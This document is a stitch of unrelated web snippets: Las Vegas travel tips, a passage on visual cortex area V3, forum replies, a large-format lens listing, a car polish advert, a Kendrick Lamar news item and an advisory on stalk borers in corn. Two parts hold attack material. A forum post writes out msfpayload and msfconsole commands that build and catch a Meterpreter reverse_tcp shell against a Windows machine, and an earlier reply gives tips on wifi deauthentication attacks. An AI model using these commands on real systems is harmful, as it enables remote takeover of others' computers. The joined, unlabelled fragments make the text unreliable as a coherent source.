Casinos are the cornerstones of the Strip, and as such, they-re naturally a major part of the excitement. You can find slot machines and poker and blackjack tables in each and every one.
Las Vegas has famously hosted some of the most historic bouts in boxing history, and title fights are still regularly scheduled for venues located on the Strip. Additionally, many of the most important mixed martial arts (MMA) fights are held at places such as the MGM Grand Garden Arena and the Mandalay Bay Events Center.
The Strip is located in the Mohave Desert and is home to extremely dry, hot summers. For this reason, it-s important to stay hydrated and limit your walking during the afternoons if you are visiting during these months. The average high temperatures in July and August exceed 100 degrees. Conversely, many do not realize how chilly it can get during the winter, with average lows in December and January dipping into the 30s. If you have some flexibility, plan to visit during the spring or fall when the weather is much more pleasant.
McCarran International Airport (LAS) welcomes visitors from several American cities, as well as far-flung places like London, Panama City and Seoul, South Korea. Many visitors grab a taxi to take them to their Las Vegas Strip hotels, which will run about $20. However, the WAX bus is another option that few visitors realize exists. It takes passengers from the airport to the New York-New York Hotel and Casino near the southern end of the Strip for just $2.

See:Visual cortex for overview of complete visual area of the brain
Visual area V3 is a term used to refer to the region of cortex located immediately in front of V2. To date, some controversy exists regarding the exact extent of this area, with some researchers proposing that this is in fact a complex of two or three functional subdivisions. For example, David Van Essen and others (1986) have proposed that the existence of a "dorsal V3" in the upper part of the cerebral hemisphere, which is dinstinct from the "ventral V3" (or ventral posterior area, VP) located in the lower part of the brain. Dorsal and ventral V3 have distinct connections with other parts of the brain, appear different in sections stained with a variety of methods, and contain neurons that respond to different combinations of visual stimulus (for example, colour-selective neurons are more common in the ventral V3).
Dorsal V3 is normally considered to be part of the dorsal stream, receiving inputs from V2 and from the primary visual area and projecting to the posterior parietal cortex. It may be anatomically located in Brodmann area 19. Debate exists as to whether there are also adjacent areas 3A and 3B. Recent work with fMRI has suggested that area V3/V3A may play a role in the processing of global motion [1] Other studies prefer to consider dorsal V3 as part of a larger area, named the dorsomedial area (DM), which contains a representation of the entire visual field. Neurons in area DM respond to coherent motion of large patterns covering extensive portions of the visual field (Lui and collaborators, 2006).
Ventral V3 (VP) has much weaker connections from the primary visual area, and stronger connections with the inferior temporal cortex. While earlier studies proposed that VP only contained a representation of the upper part of the visual field (above the point of fixation), more recent work indicates that this area is more extensive than previously appreciated, and like other visual areas it may contain a complete visual representation. The revised, more extensive VP is referred to as the ventrolateral posterior area (VLP) by Rosa and Tweedale (2000).

number 2: this is not a windows forum. please next time address that issue to a windows dedicated forum. how ever, try this. first leave ur hdd in and log into windows. remove ur removable hdd and run fixmbr in windows. that should do the trick, i might be completley wrong on this though.
number 3: no idea. sorry
number 4: try to wait a bit between the deauths, for some reason it screws up for me too when i try and deauth too many times one after the other.
number 5: refer to this as this will give u a fundamental understand of what selecting the hosts actually does. this will in turn answer ur question
number 6: no idea, never happened to me.
number 7: no idea. sorry
and yea well written post. i like how u highlighted the questions. hope i helped.

Category: Photography-Lenses-Large-Format-Lenses, rodenstock, Valuable Extra: Lens Valuable Extras Package
The Rodenstock 135mm f/5.6 Apo-Sironar digital Lens is a standard view large format lens specifically designed for use with digital backs, which require a smaller image circle with extreme resolution, color correction, and maximum performance at a large aperture. This lens is recommended for use with backs having a maximum image area of 72 x 96mm, capturing a view upon such a back similar to that of a 49mm lens upon a 35mm format camera.
In many cases, digital photography is superior to conventional photography if the desired end product is a printed image. To achieve this ideal, however, a much higher demand is made upon the image reproduction quality of the lens. This is because of a digital image chip's smaller area, which means finer details in a scene are squeezed into a smaller image recording area, as well as their sensitivity to color fringes.
But Rodenstock's digitally-specific lenses such as this Apo-Sironar digital provide image quality which allows the maximum capacity of a digital back to be realized. The lens utilizes every technological possibility to get as close as possible to the absolute limits of diffraction-determined resolution, even accounting for the properties and thickness of a CCD's protective glass. With the Apo-Sironar digital, you can use digital backs with a pixel pitch as small as 5µ.
This lens is recommended for use at apertures of f/8-11; you should primarily use your camera's movements to control the depth of field. Given its 135mm focal length (which allows plenty of space) and because it benefits from superior optical design without any needed concessions for an SLR camera's mirror box, this 135mm Sironar's commonly adapted for use with DSLR cameras. Its remarkable resolution can produce results impossible to achieve with an SLR system lens.

here is what I am trying:
My attacking computer is a laptop running backtrack 5 r3 KDE 64
in shell,
msfpayload windows/meterpreter/reverse_tcp LHOST=(ur ip) X > Desktop/(name.exe)
I then moved the payload onto my test computer. It is on the same network running windows 7, firewall and antivirus down.
In msfconsole,
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost (ur ip)
exploit -j -z
Then I start the exe and it says I have a session but if I try to use any meterpreter commands it says its an unknown command: meterpreter.
Any help would be great!

Sonus Swirl Buster 16.9 oz.
Swirl Remover Car Polish for Machine Polishing with a Porter Cable 7424 XP or Rotary Buffer:
Gently removes stubborn swirl marks & fine scratches.
Coats with acrylic fillers to hide remaining imperfections.
Finishes to a stunning gloss!
No more swirl marks!
Black, red and midnight blue car owners rejoice!
Finally, there's a car polish that works with your Ultimate Detailing Machine, Porter Cable 7424 XP Car Polisher (or rotary) to gently remove swirl marks, immediately improve paint appearance, and protect the paint finish for months!
Sonus SwirlBuster Polish is a premium swirl remover and gloss enhancing car polish specifically formulated for the needs of modern clearcoat paint.
This polish is not a heavy compound that abrasively cuts away a significant layer of paint. Use of compounds on clearcoat is a last resort action. Compounds thin the clearcoat, reducing depth of shine. On first use, Sonus SwirlBuster Polish rounds over the hard edges of swirl marks and fine scratches to reduce the random light reflections. The Acrylic resins in the polish backfill the low spots to further reduce their appearance. Unlike the silicone fillers found in many polishes and hand glazes, the Acrylic resins in SwirlBuster will not easily wash away.
After a second use, SwirlBuster polish further massages away the swirl marks and begins to increase natural surface gloss. The Acrylic resins hide even more of the remaining defects and make the paint look darker and more reflective.
After the third use, your swirl marks are completely gone and your paint finish will look like an infinite pool of water. All the while, your paint looks great and you have not reduced clearcoat thickness or the serviceable life of your car's paint.
Sonus SwirlBuster Polish is the only product of its kind.
No other polish provides the same immediate or long term benefits to your paint:
Gentle removal of swirl marks with several uses... Won't thin your clearcoat!
Immediate appearance improvement that won't wash away!
Long-term paint protection!

Kendrick Lamar: Macklemore Grammy wins were 'well deserved'
Listen to Kendrick Lamar on iHeartRadio | Listen to Macklemore on iHeartRadio
Kendrick Lamar is breaking his silence on his Grammy snub. The Compton-born emcee was nominated for seven trophies at Sunday's awards ceremony, but came up empty-handed, losing most of the rap categories to Macklemore & Ryan Lewis.
Kendrick tells XXLMag.com that the duo's four wins were "well deserved." He adds that Macklemore "went out there and hustled and grinded."
As for how he feels about not winning any Grammys, Kendrick says "everything happens for a reason." Kendrick also remarked on whether he believes the Grammys undervalue hip-hop, saying "they should always have more of the culture" in the awards ceremony.
Macklemore previously said he believes Kendrick Lamar was "robbed" of a Grammy for Best Rap Album. Following the awards ceremony, Macklemore even sent K-Dot a text telling him that he wanted his good kid, m.A.A.d. city to win Best Rap Album.

Stalk borers are notorious for killing or stunting corn rows next to fences, grassed waterways, and conservation terraces. To stop this damage, fields must be scouted on a timely basis if an insecticide is the method of control.
Stalk borers in grass
Stalk borer larvae have already hatched in Iowa and most of the larvae are now inside brome grass, other grasses, or giant ragweed. However, a few stalk borers may already be in corn because they moved there first instead of to grass. Stalk borers in brome grass eventually kill the grass, causing "dead heads" (see photo). When the larvae get too large for the grass stems, they crawl out in search of larger diameter plants, including corn.
Degree days and migration
Early June is the predicted time for southern Iowa when stalk borers will move out of grass and into corn across most of Iowa, except for the southwestern counties. Approximately 10 percent of the larvae will move out of the grass by 1,400 degree days (base 41 °F) and 50 percent of the larvae will have moved by 1,700 degree days. When 1,300-1,400 degree days have occurred in your area (see map), scout to determine whether the larvae are moving into corn. These dates predict when 10 percent of the larvae will move into corn.
Scouting border rows
Scout corn adjacent to grass terraces, waterways, ditches, and fencerows, and especially those areas where stand loss has occurred in previous years. Stalk borers don't crawl very far from grass, so only the first four rows of corn next to grass would need to be sprayed. Look for small larvae resting inside the whorls or for new leaves with feeding holes. Larvae feeding in the whorl, but that haven't tunneled into the plant, can be killed with an insecticide. The smaller the corn, the more likely it is to be killed by stalk borers. Once corn reaches the 7-leaf stage (V7 stage), stalk borers are unlikely to kill the plants.
Fields with weeds
An exception to the border row problem is when weedy grasses or giant ragweed are growing throughout a corn field. If these weeds are killed with herbicides, the stalk borers move out of the weeds and into the corn. Stalk borers can destroy a corn stand under these circumstances. To prevent this destruction, an insecticide (Table 1) should be tank mixed with the herbicide (if it is a fast burndown herbicide) or the field should be sprayed with the insecticide approximately 7 days after the herbicide (if it is a slow burndown herbicide). Be sure to read the insecticide label before mixing pesticides.
Bt corn
In some of our experiments, we have found that Bt corn (YieldGard® hybrids) suppresses or slows down stalk borer injury. Bt corn does not have the same effect on stalk borers as it does on European corn borers, so don't expect complete control of this pest in Bt corn. We have not evaluated Herculex® Bt hybrids, so we are unfamiliar with the performance of this technology against stalk borers.
Economic thresholds
Economic thresholds can help in deciding whether to apply an insecticide (Table 2). These thresholds are based on the percentage of infested plants, and assume $13 per acre control costs and 80 percent control with an insecticide. If the number of infested plants in the first four rows of corn (adjacent to grass, terraces, fencerows) exceeds the percentage given for the plant stage, an insecticide application can be economically justified. Young plants have a lower threshold because they are more easily killed than older plants. Scouting is not necessary beyond the V7 developmental stage in corn.
